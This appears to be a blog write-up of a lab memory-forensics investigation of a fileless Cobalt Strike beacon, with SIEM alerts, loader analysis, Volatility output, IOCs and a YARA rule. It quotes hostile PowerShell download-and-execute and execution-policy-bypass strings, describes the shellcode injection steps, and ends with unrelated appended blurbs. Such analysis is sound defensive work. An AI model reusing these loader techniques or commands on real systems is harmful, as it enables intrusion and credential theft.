The investigation revealed clear indicators of a fileless Cobalt Strike beacon, reflectively loaded via PowerShell and operating entirely in memory. This technique aligns with known EDR evasion strategies documented by Deep Instinct, where payloads are injected into memory using reflective DLL loading, leaving no artefacts on disk and effectively bypassing traditional signature-based detection mechanisms [1]

The presence of powershell.exe within memory, without a corresponding file on disk, supports this, as does the use of -encodedCommand to deliver obfuscated payloads a common staging method used by attackers to evade endpoint monitoring tools. According to Pentera, such zero-footprint attacks follow a clear pattern of reflective loading, dependency redirection, and dynamic execution to avoid detection by userland monitoring [2]

Furthermore, the sample’s use of Windows APIs such as VirtualAlloc, VirtualProtect, WriteProcessMemory, and CreateRemoteThread mirrors behaviour observed in other EDR-bypass-enabled malware, where attackers circumvent API hooking by unhooking or restoring clean versions of system libraries like ntdll.dll [1] [3] [6]. These methods are designed to evade behavioural monitoring engines that rely on inline API hooks for detection.

Privilege escalation was also evident in the binary’s use of AdjustTokenPrivileges and enabling of SeDebugPrivilege, which are often prerequisites for accessing protected processes such as LSASS. This corresponds with documented techniques where attackers target LSASS memory to extract credentials, sometimes using forking or process cloning approaches to avoid detection[1] [4] [5]. Lastly, the extracted binary was structurally examined using Malcat and found to contain anomalous sections, obfuscated strings, and elevated entropy levels characteristics consistent with known in-memory payloads [7][8]. These findings were further validated using dynamic analysis, which demonstrated PowerShell spawning, delayed execution, and C2 communication with 192.168.135.57, behaviourally consistent with a staged or stageless beacon.

These observations collectively reinforce the conclusion that the host was compromised using a stealthy, fileless Cobalt Strike loader, employing well-documented EDR bypass techniques including reflective loading, AMSI bypass, API unhooking, and memory-only privilege escalation as outlined by sources such as Deep Instinct, Pentera, Volexity, and Advania [9][10]

1.1 Lab Setups

This lab simulates a targeted attack against a Windows 10 victim machine, with Cobalt Strike hosted on an Ubuntu attacker machine. Memory acquisition is performed using FTK Imager. The analysis environment includes an Ubuntu analyst machine running Volatility 3 for memory forensics, and a Kali Purple server equipped with Elastic SIEM, Winlogbeat, Auditbeat, XDR, and Fleet to monitor and investigate security events across the environment. This setup enables end-to-end detection and forensic investigation of in-memory threats.

Victim Machine

• Operating System: Windows 10
• IP Address: 192.168.135.13

• Tools Installed:

  • FTK Imager — used to capture a memory dump of the system for forensic analysis.

Attacker Machine

• Operating System: Ubuntu 22.04 LTS
• IP Address: 192.168.135.57

• Tools Used:

  • Cobalt Strike — for simulating a realistic command and control (C2) attack scenario.
  • Updog — lightweight file server used to host and deliver malicious payloads.

Analyst Machine

• Operating System: Ubuntu 22.04 LTS

• Tools Used:

  • Volatility 3 — for performing memory forensics on captured dumps.
  • Malcat — for lightweight static analysis, disassembly, and extracting C2 information from suspicious binaries.
  • Visual Studio Code — used for writing Python scripts to decode Base64 payloads and save them as .bin files for further analysis.

Server & SIEM Infrastructure

• Interfaces:

  • eth0: 192.168.135.22
• Operating System: Kali Purple OS

• Security Stack:

  • Elastic SIEM
  • Winlogbeat, Auditbeat — for forwarding Windows event and audit logs.
  • Elastic XDR & Fleet Server — for managing agents and visualising collected data.

1.2 Lab Scenarios

The lab consists of a simulated environment where Cobalt Strike was used to inject PowerShell into memory. This initial injection triggered several alerts. By examining the SIEM logs, it was identified that PowerShell had attempted to dump the LSASS process. This finding prompted a full memory analysis of the affected system.

1.3 SEIM Alert

Alert Dashboard

Alert type

Summary of the alert

On 12 July 2025, the host desktop-4dadb8u generated multiple security alerts indicating suspicious activity. Around 11:55 to 11:57, a PowerShell script named powershell_x64.ps1 was detected running potentially malicious hacktool functions, using PSReflect to invoke Windows APIs directly, and showing signs of process injection attempts. Later, between 15:35 and 15:37, the process rundll32.exe was flagged for suspicious access to the LSASS process via Windows API calls, which could indicate an attempt to dump credentials. Overall, the sequence of events suggests possible credential theft and in-memory attack techniques that warrant immediate investigation and containment.

2.0 Investigation

2.1 Using The Five Why Model

The Five Whys is a simple but powerful method for finding the root cause of a problem. By asking “why?” repeatedly often around five times it helps trace an issue back beyond its symptoms to the underlying cause. This approach does not rely on complex analysis and is highly effective for most operational or incident investigations. It works best for problems that are simple to moderately complex, and is especially useful when human factors are involved. For more complicated cases, it can be combined with other techniques. To use it, start with a clear problem statement. Then keep asking “why” for each answer you get, digging deeper until you uncover the real cause. Always base your answers on facts and data, and focus on improving the process rather than blaming people. here is simple sample,

This technique was developed by Sakichi Toyoda and became a core part of Toyota’s quality management. It remains widely used today alongside principles like kaizen and jidoka, helping teams fix problems at their source. [citation]

2.2 Potential Process Injection via PowerShell

Applying a simple form of the “Five Why” approach to trace cause and significance, focused only on relevant technical aspects of the alert.

1. What happened? An Elastic SIEM detection rule triggered a high severity alert on the Windows 10 endpoint DESKTOP-4DADB8U after identifying suspicious PowerShell activity. The alert indicated potential process injection via PowerShell, linked to a script named powershell_x64.ps1 located in the user’s Downloads folder. This activity matched known MITRE ATT&CK techniques, specifically T1055 for process injection (covering both DLL and PE injection) and T1059.001 for PowerShell execution, along with evidence of native API execution (T1106). As a result, the security platform assigned it a risk score of 73, flagging it as a likely malicious event requiring investigation.

1. Why was it detected?

The detection occurred because the executed PowerShell script contained multiple API function calls that are commonly abused to perform in-memory execution and process injection. The script allocated memory using VirtualAlloc, copied an XOR-decoded shellcode payload into this memory, resolved necessary function pointers, and ultimately executed the payload by invoking a delegate.

These are typical techniques used to bypass on-disk detection, and the SIEM rule is designed to identify such PowerShell scripts that directly leverage Windows APIs associated with in-memory code execution.

3. Why did the script run on this endpoint?

The script was executed under the context of the local user windows10, who appeared to have downloaded the file and run it from their Downloads directory. Windows Event ID 4104 confirmed that PowerShell processed this script block. Although it is not immediately clear from the available data whether the user knowingly ran this script or whether it was executed through social engineering or an automated payload delivery mechanism, the presence of the script in the user’s Downloads folder strongly suggests it was either manually or inadvertently executed on the system.

4. Why is this a concern?

This is a significant concern because process injection via PowerShell enables an attacker to execute arbitrary code within the memory space of legitimate processes, thereby avoiding detection by traditional file-based antivirus solutions. It also provides an effective mechanism for stealthy command and control, credential theft, or lateral movement within the network. The fact that the PowerShell script implemented classic shellcode injection patterns highlights a deliberate attempt to bypass security controls and maintain persistence or escalate an attack.

1. Why did it reach this point (root cause)?

This event triggered due to a combination of factors, including a lack of strict PowerShell execution policies such as Constrained Language Mode, the absence of robust application control solutions like AppLocker or Windows Defender Application Control to prevent unauthorised script execution, and potentially inadequate user awareness or endpoint controls to block downloads of suspicious files. As a result, a script that employs known offensive security and malware techniques was able to execute on the host, triggering the detection only after it attempted to perform process injection.

3.0 LSASS Process Access via Windows API

Detection logic (rule analysis)

The detection was triggered by the Elastic Security (SIEM) rule named:

LSASS Process Access via Windows API

Rule details:

• Rule type: EQL (Event Query Language)
• Data source: logs-endpoint.events.api-*, logs-m365_defender.event-*

• Key query:

    api where host.os.type == "windows" and
      process.Ext.api.name in ("OpenProcess", "OpenThread") and
      Target.process.name : "lsass.exe" and
      not ( <long exclusion list> )
      
  

• Purpose: Detects any Windows API call OpenProcess or OpenThread specifically targeting the lsass.exe process, which is the Local Security Authority Subsystem Service that holds credentials in memory.
• Mapped MITRE ATT&CK:
  • T1003.001 - OS Credential Dumping: LSASS Memory
  • T1106 - Native API
  • TA0006 - Credential Access
  • TA0002 - Execution
• Severity: Medium
• Risk score: 47

It also checks that the access is not from a list of known safe tools (AV agents, patch managers, trusted monitoring), nor from an unsigned executable that would otherwise be suspicious.

3.1 Why did it trigger?

The event that caused the alert

• Host: DESKTOP-4DADB8U (Windows 10 Pro N 22H2)
• Process: C:\Windows\System32\rundll32.exe
• API call: OpenProcess
• Target: lsass.exe (PID 732)
• Access requested: PROCESS_ALL_ACCESS (2097151) including rights like DELETE, WRITE_DAC, WRITE_OWNER, READ_CONTROL.

This means rundll32.exe attempted to open a handle to the lsass.exe process requesting full rights, which is typical for memory dumping.

3.2 The Five Whys

3.2.1 Why did this detection rule fire?

Because the Elastic endpoint agent observed an API event on this Windows system where rundll32.exe invoked the OpenProcess function to obtain a handle to the lsass.exe process. The access rights requested (PROCESS_ALL_ACCESS) indicate an attempt to read or manipulate LSASS memory, which matches the detection query exactly.

3.2.2 Why does this behaviour raise a security concern?

Accessing lsass.exe with such privileges is a hallmark of credential dumping attacks. LSASS holds NTLM hashes, Kerberos tickets and sometimes plaintext passwords. Attackers or post-exploitation frameworks (like Mimikatz) routinely open LSASS with PROCESS_ALL_ACCESS to extract these credentials. Although legitimate security tools also inspect LSASS, they are usually signed, well-known, and explicitly excluded by this rule. Here, rundll32.exe is not explicitly whitelisted for this behaviour, so it becomes suspect.

3.2.3 Why was rundll32.exe trying to open LSASS?

rundll32.exe is a legitimate Windows utility for running DLL functions. However, attackers frequently abuse it to load malicious DLLs or inline shellcode because it blends in with normal system processes and is signed by Microsoft. This case suggests that either:

• A legitimate admin / security tool misconfigured to use rundll32.exe for LSASS access, or
• A malicious DLL was loaded into rundll32.exe to dump credentials stealthily. The requested rights (PROCESS_ALL_ACCESS) and target (lsass.exe) strongly imply credential harvesting intent.

3.2.4 Why didn’t existing controls block or stop this?

The detection rule did catch it, but it was after the API call was made — this is a detection, not a prevention. Windows Defender Credential Guard (or similar) may not have been enabled, which would have prevented LSASS from granting such access. Also, Application Control (like WDAC or AppLocker) may not have been configured to restrict misuse of rundll32.exe. This left the system exposed to living-off-the-land binaries (LOLBins) abuse.

3.2.5 Why is this critical in the context of MITRE ATT&CK?

Because it aligns directly with techniques T1003.001 (LSASS Memory credential dumping) and T1106 (Native API). Gaining access to LSASS is a pivotal step for attackers — once they extract credentials, they can escalate privileges or move laterally to compromise other systems in the network. This is why defenders closely monitor any suspicious process opening LSASS with high privileges.

3.3 Conclusion

The Elastic detection engine generated this alert after rundll32.exe on host DESKTOP-4DADB8U called the Windows API OpenProcess with PROCESS_ALL_ACCESS to the lsass.exe process. This behaviour strongly indicate credential dumping activity as described in MITRE ATT&CK T1003.001. The rule explicitly monitors API events targeting lsass.exe with suspicious access levels.

4.0 Analysing the powershell_x64.ps1

The script starts by enforcing strict PowerShell rules using Set-StrictMode -Version 2, which means it will stop if there are undeclared variables or syntax issues, helping catch script errors early.

It defines a function called func_get_proc_address. This function accepts the name of a DLL (like kernel32.dll) and a function name (like VirtualAlloc). It uses .NET reflection to dig into the loaded assemblies, find System.dll, and from there, uses the internal Microsoft.Win32.UnsafeNativeMethods class. This allows it to indirectly call the unmanaged Windows API function GetProcAddress, which retrieves the memory address of a function exported by a loaded DLL. In addition, this function gives the script a way to dynamically look up where Windows keeps core API functions in memory.

Furthermore, it defines func_get_delegate_type, which builds a custom .NET delegate type in memory. It takes a list of parameter types and an optional return type. It does this by using the Reflection.Emit API to define a new delegate class entirely at runtime. This dynamic delegate will be used to call unmanaged code from within the PowerShell environment, acting like a type-safe function pointer.

After defining these helpers, the script checks whether the operating system is 64-bit by comparing [IntPtr]::Size to 8. If so, it continues by decoding a Base64-encoded blob into a byte array called $var_code. This is typically shellcode (machine instructions) that will be executed later.

It then loops over each byte in $var_code and XORs it with 35 (hex 0x23). This is a simple obfuscation technique to hide the shellcode from basic static analysis or antivirus scanning.

The script then uses the func_get_proc_address function to find the address of VirtualAlloc inside kernel32.dll, which is a Windows API function used to allocate memory. Using func_get_delegate_type, it builds a delegate matching VirtualAlloc’s signature so it can call it from PowerShell. It then invokes VirtualAlloc to allocate a memory buffer that is marked as executable (0x40 is PAGE_EXECUTE_READWRITE).

After allocating the memory, it copies the decoded shellcode into this allocated region using Marshal.Copy. Finally, it creates another delegate matching the signature of a function that takes a single IntPtr parameter and returns void, pointing directly to the start of the shellcode in memory, and calls Invoke on this delegate. This causes the shellcode to execute inside the PowerShell process. Essentially, this script dynamically resolves Windows API functions, builds appropriate function pointers in .NET, allocates memory, copies malicious machine code into that memory, and then executes it, all from within a PowerShell process without touching disk again.

4.1 Decoding the Powershell_64 content from SEIM

The script starts by enforcing strict PowerShell rules to catch common coding mistakes. It defines a function to get the memory address of a Windows API function using GetProcAddress. Another function creates a custom delegate type, allowing unmanaged function pointers to be executed from PowerShell. If the system is 64-bit, it runs the rest of the code. It decodes a base64 string into a byte array, which is XOR-decrypted using the value 35. It uses VirtualAlloc to allocate memory with execute permissions. The decrypted code is copied into that memory. Finally, it jumps to the memory region and runs the code as if it were a normal function.

4.2 Decoding the base64

import base64

encoded_data = "base64here"
# Decode from base64
decoded_bytes = base64.b64decode(encoded_data)

# XOR each byte with 35
decoded_shellcode = bytearray()
for b in decoded_bytes:
    decoded_shellcode.append(b ^ 35)

# Print hex output to see what it is
print("Decoded bytes (hex):")
print(decoded_shellcode.hex())

# Also write to a binary file
with open("hidden_payload.bin", "wb") as f:
    f.write(decoded_shellcode)

print("Written to hidden_payload.bin")

This Python script is designed to reverse a basic obfuscation technique. It begins by importing the base64 module so it can decode data that has been encoded using base64. The encoded string, which likely contains shellcode, is stored in the variable encoded_data. The script decodes this base64 string into raw bytes.

Once decoded, it applies an XOR operation using the number 35 to each byte. This step reverses a simple encryption method where each original byte was previously XOR’d with 35 to hide its true value. The script collects the resulting bytes in a variable called decoded_shellcode.

It then prints the decoded shellcode in hexadecimal form so the analyst can visually inspect the contents. After that, the decoded binary data is written to a file called hidden_payload.dll, which can be used for further analysis, such as running it in a sandbox, disassembling it, or scanning it with antivirus and memory forensics tools, In this case we will be using Malcat

5.0 Malcat Analysis

While many disassembler tools are available, Malcat provides a more reasonable balance between reverse engineering difficulty and the need to understand the malware and extract C2 IoCs, while still offering disassembly features.

Especially if you’re just starting to build malware analysis skills, it’s important to use what works for you in this case, the researcher preferred Malcat, which is completely free.

During the analysis, the file showed many signs that it’s designed to hide what it really does. It had lots of repeated, unnecessary loops (KornLoop).

and used memory tricks like creating arrays on the stack and filling them during runtime (StackArrayInitialisationX64).

These are common in tools that decode or run something else in memory, often without writing it to disk.

There were also many constant values and unusually large numbers hardcoded in the code (ManyUniqueImmediateBytes and ManyHighValueImmediates), which are often used to help decrypt something or confuse analysts.

The code itself was messy, with complicated jumps and logic paths (SpaghettiFunction), although a few parts were straightforward and might help set up the main payload (SequentialFunction).

The tool also pointed out that some functions looped in a way that cross-referenced other areas of the program (HighXrefLoopingFunction), which can be a sign of scanning or memory searching. It uses known Windows functions like LoadLibrary and GetProcAddress (PossiblePackerApiDownloaderImport), but instead of listing them normally, it hides them by turning their names into hashes and comparing them (ImportByHash).

That makes it harder for antivirus tools to spot what’s going on.

It also uses Windows functions to download files from the internet (DownloaderApiUsage), and crypto functions to encrypt or decrypt something while it runs (CryptoApiUsage). Some parts of the file build DLL names and strings only while the program is running (DynamicDllString and DynamicString), and others are encoded in base64 (StringBase64), which is often used to hide commands, payloads, or connection details. All of this suggests the file was built to hide its true purpose, likely to decrypt and run a Cobalt Strike beacon in memory.

6.0 Analysing the Windows API functions

Analysing each of this Windows API functions will takes time, so we will only look at the ones that are relevant.

This is very strong evidence that the binary is a Cobalt Strike Beacon or a loader for one. The presence of beacon_config_xor_2e alone stands out, as it matches known patterns of Cobalt Strike’s configuration format. Combined with API hashing, use of cryptography, and stealthy runtime techniques like PEB access, it confirms this is likely a malicious Cobalt Strike implant.

6.1 NtMapViewOfSection

This is commonly used to inject code into another process by mapping a view of a section object into the address space of a target process. It’s often seen in fileless malware and process hollowing.

6.2 CreateToolhelp32Snapshot and Process32Next

These are used together to enumerate running processes. Malware often uses these APIs to locate a specific process, such as lsass.exe, for credential dumping or to find a parent process for injection.

6.3 AdjustTokenPrivileges and SeDebugPrivilege

6.3.1 Windows Privileges Commonly Abused by Cobalt Strike Beacons

This clearly signals that the listed privileges are those typically requested or leveraged by Cobalt Strike payloads during post-exploitation, especially for token manipulation, process injection, or privilege escalation. These are used to grant the process higher privileges, especially to access or manipulate other processes. Malware enabling SeDebugPrivilege, SeImpersonatePrivilege, SeTcbPrivilege, SeBackupPrivilege, SeLoadDriverPrivilegeis likely preparing to dump credentials via lsass or perform injection. here are the few

6.4 VirtualAlloc and VirtualProtect

These allocate and change memory permissions in the process’s address space. Attackers use them to prepare memory for injecting and running shellcode.

6.4.1 VirtualAlloc

The program compares a 32-bit hash (0x91AFCA54) against values pushed on the stack. This hash matches the API VirtualAlloc, which is a Windows function used to allocate memory in a process. In the context of malware, VirtualAlloc is usually used to create a space in memory where decoded or decrypted shellcode will be written before it is executed.

So in this flow, when the comparison matches VirtualAlloc, the program retrieves the function pointer using a custom hashing logic and saves it for later use — likely when the shellcode will be loaded.

6.4.2 VirtualProtect

Similarly, it compares another hash (0x7946C61B) which resolves to VirtualProtect. This function is used to change memory protection on a region, for example, from non-executable to executable. Malware uses this after writing shellcode to memory, so it can then execute it without raising suspicion from modern defences like DEP (Data Execution Prevention).

6.5 InternetReadFile

This is a network API used to download data from the internet. It’s often part of the second-stage delivery mechanism or used to fetch C2 commands or payloads.

6.6 DownloadUsingpowershell

This isn’t a standard API but likely refers to PowerShell commands or strings used to download content, such as Invoke-WebRequest or IEX(New-Object Net.WebClient).DownloadString(). These are common in LOLBins and script-based malware.

A suspicious PowerShell command is embedded:

• IEX (New-Object Net.WebClient).DownloadString('-')
• This is a known pattern for downloading and executing code from the web, and is heavily used by Cobalt Strike and similar tools. http://127.0.0.1/u this is often used for testing during development, or as a placeholder. Strings like nop -exec bypass -EncodedCommand Attempts to obfuscate PowerShell payloads via base64 encoding and bypass command execution restrictions.

7.0 Analysing the MemoryDump

While the alert in the SIEM outlines possible scripts and behaviours associated with this malware, it is also evident that the malware has been loaded into memory. This strongly suggests there may be additional binaries or DLLs actively running in memory. To investigate further, we have acquired a memory dump using FTK Imager. The analysis of this dump is ongoing and will help identify any additional components or malicious activity residing in memory.

Note:

This section does not include details on how to operate the Volatility framework itself. For convenience, we have adjusted our environment so that running:

Vol <plugin>

is equivalent to executing:

python3 ./vol.py -f Cobaltstrike.mem <plugin>

For example, running:

Vol windows.pslist

will execute the same as:

python3 ./vol.py -f Cobaltstrike.mem windows.pslist

This setup streamlines the analysis process by removing the need to repeatedly specify the memory file and script path.

7.1 windows.pslist

Get a baseline list of running processes.

The output from windows.pslist appears complex, with numerous running processes. At this stage, it is not possible to pinpoint which process might be malicious purely by inspecting the list.

7.2 windows.pstree.PsTree

Visualise parent-child relationships, often shows suspicious injection.

The initial alert from the SIEM indicated the presence of powershell_x64.ps1. Using windows.pstree.PsTree, we can observe that the device DESKTOP-4DADB8U is currently running PowerShell. Given that the original PowerShell script was detected in the Downloads directory by the SIEM alert, it is reasonable to assume that the running powershell.exe process with PID 14484 is responsible for executing the initial payload.

7.3 windows.envars.Envars

The presence of PSExecutionPolicyPreference=Bypass is a clear red flag. This setting disables PowerShell’s script execution restrictions, allowing unsigned or potentially malicious scripts to run without warning. Attackers, including Cobalt Strike operators, often set this to bypass defensive controls and execute payloads silently

7.4 Analysis of Suspicious Memory Region

Why malfind Is Especially Valuable?

When investigating memory images, one of the biggest challenges is pinpointing where the malware resides, especially in cases where:

• The malicious process is a legitimate system process (e.g. powershell.exe, svchost.exe, explorer.exe)
• The attacker has used process injection, reflective DLL loading, or code hollowing
• Plugins like pslist, pstree, or psscan show no obvious anomalies the process tree appears normal, and the process name does not raise any suspicion

In such cases, Volatility3’s windows.malfind plugin becomes crucial. Rather than relying on process names or hierarchy, malfind inspects the memory regions of all processes, looking for:

• Executable (PAGE_EXECUTE_READWRITE) memory that is also private (not backed by a file)
• Sections that are often used for code injection or shellcode execution
• Raw disassembly output and byte patterns that may signal obfuscated payloads or packing artefacts

This allows the analyst to:

• Detect injected payloads even when the parent process looks legitimate
• Discover in-memory implants that are not visible via normal process enumeration
• Focus deeper analysis (e.g. memory dumps, YARA scans) on suspicious memory regions, not just processes

In our case, runining malfind produced multiple suspicious memory regions within powershell.exe (PID 14484), as seen in the screenshot. Two memory segments are of particular interest:

Vol windows.malfind.Malfind

Observations:

• Process: powershell.exe
• PID: 14484
• Memory Protection: PAGE_EXECUTE_READWRITE
• PrivateMemory: 73 and 86 respectively
• Disassembly: Shows repeated add byte ptr [rax], al — a common pattern for shellcode padding or overwritten memory.

Why This Is Suspicious:

• PAGE_EXECUTE_READWRITE is highly abnormal for legitimate memory regions. This combination allows the memory to be both written to and executed — a classic sign of shellcode injection or process hollowing.

• Disassembly Output: The pattern of add byte ptr [rax], al is often observed in:

  • NOP sleds or dummy instructions
  • Uninitialised or overwritten shellcode regions
  • Attempts to bypass static detection by inserting filler bytes

• Private Memory: Indicates the memory is not mapped to a file on disk, again suggesting this is runtime-injected code.

7.5 windows.netscan

The windows.netscan plugin scans a Windows memory image for network socket objects. It identifies both TCP and UDP connections, showing local and remote IP addresses, ports, connection states, and the process ID responsible. This helps analysts detect suspicious or hidden network activity, such as Cobalt Strike beacons or reverse shells. It is particularly useful for identifying active or recently closed connections from unusual processes like powershell.exe

In this output, we can see that PowerShell (running on 192.168.135.13) attempted a connection to 192.168.135.57 on port 80, which is identified as the Cobalt Strike C2 server. Although the connection is currently closed, it raises the question: why was PowerShell communicating with this external IP at all?

7.6 windows.dumpfiles.DumpFiles

The windows.dumpfiles.DumpFiles plugin is used to extract file-like objects from memory. In this case, the analyst is dumping a suspicious memory region (0x12df4f10000) from the powershell.exe process using the command:

vol windows.dumpfiles.DumpFiles --pid 14484 --virtaddr 0x12df4f10000

This memory region was previously flagged by malfind as having PAGE_EXECUTE_READWRITE permissions, which is commonly associated with code injection. By dumping it, the analyst can examine the contents further such as checking for embedded PE headers, strings, or signs of a Cobalt Strike beacon. This is a key step in investigating in-memory malware that does not touch disk.

Subsequent memory dump analysis revealed an embedded binary resembling powershell.exe, likely reflectively loaded or injected, consistent with known Cobalt Strike loader techniques.

The combination of:

• network evidence (outbound PowerShell connection to the C2),
• and memory artefacts (presence of an in-memory powershell.exe binary)

confirms that the host is compromised and running a fileless or in-memory beacon.

Further structural analysis of the extracted binary was conducted using Malcat, validating the presence of suspicious sections and characteristics typically associated with obfuscated implants.

We opted not to dump the PowerShell process itself, as prior indicators confirmed it to be associated with Cobalt Strike. This assessment is supported by network telemetry showing that the PowerShell process (PID 6804) established a connection to a known attacker-controlled host at 192.168.135.57:80.

8.0 Dynamic Analysis Result

8.1 C2

8.2 Virus Total

Link to VirusTotal

8.3 Cobalt Strike Beacon Configuration Analysis

The beacon uses HTTP to communicate with its C2 server at 192.168.135.57, accessing /pixel.gif and posting to /submit.php. It sleeps for 60 seconds between callbacks with no jitter and allows up to 1MB of data per GET request. The beacon uses rundll32.exe as the spawn process for both x86 and x64, with no shellcode prepend or append.

Process injection is enabled using VirtualAllocEx and standard Windows APIs such as CreateThread, SetThreadContext, CreateRemoteThread, and RtlCreateUserThread. RWX memory is used during allocation and execution. Proxy settings follow the system (IE), but no authentication details are set. Cookies are used in C2 traffic. The beacon has no kill date and does not clean up staging artefacts. A static watermark value of 987654321 is present, and no DNS or SSH features are configured.

9.0 Conclusion

The investigation confirmed that the host was compromised by a fileless, in-memory Cobalt Strike beacon delivered via PowerShell. Lab monitoring showed the PowerShell process (PID 6804) establishing outbound connections to a known attacker-controlled IP, 192.168.135.57:80. Memory dump analysis revealed a reflectively loaded binary resembling powershell.exe, consistent with Cobalt Strike loader behaviour. Decoded base64 strings embedded in the payload exposed PowerShell command chains using IEX and Net.WebClient to fetch additional stagers. Further analysis with Malcat revealed obfuscated strings, suspicious sections, and high entropy, supporting the presence of a malicious implant. The sample made use of Windows API functions such as VirtualAlloc, VirtualProtect, AdjustTokenPrivileges, and SeDebugPrivilege, indicating memory injection and privilege escalation activity.

Indicators of access to the lsass process via OpenProcess and ReadProcessMemory suggest potential credential theft. Dynamic analysis confirmed network callbacks, use of PowerShell as a loader, and in-memory execution of additional payloads. Collectively, the network telemetry, memory artefacts, decoded payloads, and API usage confirm a Cobalt Strike intrusion using reflective process injection and PowerShell-based delivery.

9.1 Root Cause Analysis (Five Whys)

To better understand how this fileless attack succeeded, the Five Whys technique was applied:

1. Why was a fileless Cobalt Strike beacon running in memory? Because a PowerShell script (powershell_64.ps1) executed a reflectively loaded payload.

2. Why was the script able to execute? Because it was launched from the user’s Downloads directory via powershell.exe, indicating the file was manually downloaded and executed.

3. Why did the user download and run the script? Likely due to social engineering or misleading context that made the script appear safe or necessary.

4. Why wasn’t the script blocked by endpoint protection? Because although it triggered an alert, the endpoint protection was operating in detection-only mode or lacked automated blocking, allowing execution to proceed.

5. Why were such evasion techniques effective? Because controls such as PowerShell script logging, AMSI integration, or application control policies were either misconfigured, outdated, or not enforced, reducing visibility and prevention capabilities.

9.1 IOCs

192[.]168[.]135[.]57

41116eaf116e0aa23a281d271f8b6056b0004de809e0ca9b639a5eaf4766d355

9.2 Yara

rule WiltedTulip_ReflectiveLoader {
   meta:
      description = "Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip"
      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
      author = "Florian Roth (Nextron Systems)"
      reference = "http://www.clearskysec.com/tulip"
      date = "2017-07-23"
      hash1 = "1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904"
      hash2 = "1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a"
      hash3 = "a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f"
      hash4 = "cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0"
      hash5 = "eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89"
      id = "0c7dfb44-8acb-5f36-9683-745560f1f795"
   strings:
      $x1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
      $x2 = "%d is an x86 process (can't inject x64 content)" fullword ascii
      $x3 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
      $x4 = "Failed to impersonate token from %d (%u)" fullword ascii
      $x5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
      $x6 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
   condition:
      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them ) or
      ( 2 of them ) or
      pe.exports("_ReflectiveLoader@4")
}

9.3 References

[1] Deep Instinct – EDR Bypass Techniques and How to Stop Them
https://www.deepinstinct.com/blog/edr-bypass-techniques-and-how-to-stop-them
Accessed: 20 July 2025

[2] Pentera – Zero Footprint Attacks: 3 Steps to Bypass EDR with Reflective Loading
https://pentera.io/blog/zero-footprint-attacks-3-steps-to-bypass-edr-with-reflective-loading/
Accessed: 20 July 2025

[3] Advania – A Practical Guide to Bypassing Userland API Hooking
https://www.advania.co.uk/blog/security/a-practical-guide-to-bypassing-userland-api-hooking/
Accessed: 20 July 2025

[4] Deep Instinct – Evading Antivirus Detection with Inline Hooks
https://www.deepinstinct.com/blog/evading-antivirus-detection-with-inline-hooks
Accessed: 20 July 2025

[5] Orange Cyberdefense – Bypassing EDR to Dump LSA Secrets
https://www.orangecyberdefense.com/global/blog/cybersecurity/bypassing-edr-to-dump-lsa-secrets
Accessed: 20 July 2025

[6] Volexity – Using Memory Analysis to Detect EDR-Nullifying Malware
https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/
Accessed: 20 July 2025

[7] SpecterOps – Deep Sea Phishing Part 1
https://posts.specterops.io/deep-sea-phishing-pt-1-092a0637e2fd
Accessed: 20 July 2025

[8] MalwareTech – Bypassing EDRs with EDR Preload
https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
Accessed: 20 July 2025

[9] VMRay – EDR Bypass Tools: ScareCrow and the Advantage of the Attacker
https://www.vmray.com/advantage-attacker-edr-bypass-tools-scarecrow/
Accessed: 20 July 2025

[10] S3cur3Th1sSh1t – A Tale of EDR Bypass Methods
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
Accessed: 20 July 2025

9.4 Appendix

9.4.1 Tools and Resources

• You can download the Cobalt Strike .mem file used in this blog here.
• Elastic Stack (SOC Lab Setup) — Guide for setting up a local SIEM and detection lab using Kali Purple and the Elastic Stack.
• Malcat Download Page — A free and lightweight disassembler for static malware analysis and C2 extraction.

9.4.2 Collaboration & Contact

If you’re interested in research collaboration in machine learning, AI, malware analysis, or generative adversarial networks (GANs), feel free to get in touch:

• Email: info@daniyyell.com
• LinkedIn: Daniel Jeremiah — more active here for networking and discussion.

This post presents a curated memory forensics dataset designed to support research, detection engineering, and hands-on training in the fields of malware analysis, incident response, and threat simulation. The dataset contains memory dumps collected from controlled attack scenarios on Windows 10 systems, covering various techniques such as:

• Process injection
• Credential dumping
• Remote access trojans (RATs)
• Fileless malware
• Cobalt Strike beacons

Each scenario includes a detailed description, artefacts (e.g., .mem files), and relevant attack characteristics such as evasion techniques, persistence indicators, and suspected C2 activity.

The cases range in complexity from unknown infections to targeted Cobalt Strike intrusions, offering varied examples useful for building or testing memory analysis workflows using tools like Volatility3, YARA, and Malcat.

Whether you’re a student, analyst, or researcher, this resource is intended to provide practical value for learning and advancing your memory forensics capabilities.

Stay tuned for updating…

In the first quarter of 2025, Dragos reported 708 ransomware incidents impacting industrial entities worldwide, up from approximately 600 in the previous quarter [1]. Notably, manufacturing accounted for 68% of these incidents, underscoring the sector’s vulnerability to ransomware attacks [1]. Additionally, the Lumma Stealer malware infected over 394,000 Windows PCs globally between March 16 and May 16, 2025 [3]. This infostealer was designed to exfiltrate sensitive information such as credentials and financial data, reflecting the increasing sophistication of modern malware threats [2] [3].

